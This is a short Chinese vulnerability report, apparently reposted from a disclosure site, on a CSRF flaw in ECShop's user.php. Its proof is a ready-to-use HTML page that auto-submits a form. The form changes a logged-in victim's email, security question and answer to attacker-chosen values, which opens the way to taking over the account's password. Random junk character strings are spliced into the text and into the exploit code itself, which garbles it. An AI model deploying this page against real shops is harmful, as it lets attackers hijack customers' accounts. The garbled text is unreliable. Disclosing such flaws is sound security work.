ecshop修改任意用户密码漏洞的CSRF利用

admin

简要描述：
! }5 A. b7 y1 ^1 p7 q' vecshop在设计认证机制的时候存在一个问题，导致恶意用户可以窃取其他用户的密码，这个过程可以通过xss和csrf实现
( e# C. H+ f! d; s2 e
2 u5 D, u  v; L- @; w0 |0 jDemo For:http://www.wooyun.org/bug.php?action=view&id=395

详细说明：
/ [4 ?$ ?- |$ e; g" Z! ]利用csrf和xss可以突破官方所说的“障碍”
xss版本已经有人说明
这里给出csrf版本

漏洞证明：
<html>
0 S9 F: I. k9 i6 Q<body>
<form action="http://www.wooyun.org/ecshop/user.php" method="POST">
<INPUT TYPE="text" NAME="email" value="hack@wooyun.org">
<INPUT TYPE="text" NAME="act" value="act_edit_profile">
<INPUT TYPE="text" NAME="sel_question" value="ecshop">
<INPUT TYPE="text" NAME="passwd_answer" value="exploit">
  n! H4 ]7 u. C. F</body>
<script>
8 N9 g$ k1 ?7 j; \0 Y, Z* ddocument.forms[0].submit();
</script>
% W% ]7 w1 H1 v- h- v& Q; _</html>
构造该网页，用户在登录情况下访问该网页将导致email以及一些其他安全信息丢失
- q5 g5 f6 l" [* ]
# m! c! v1 t. V( S% O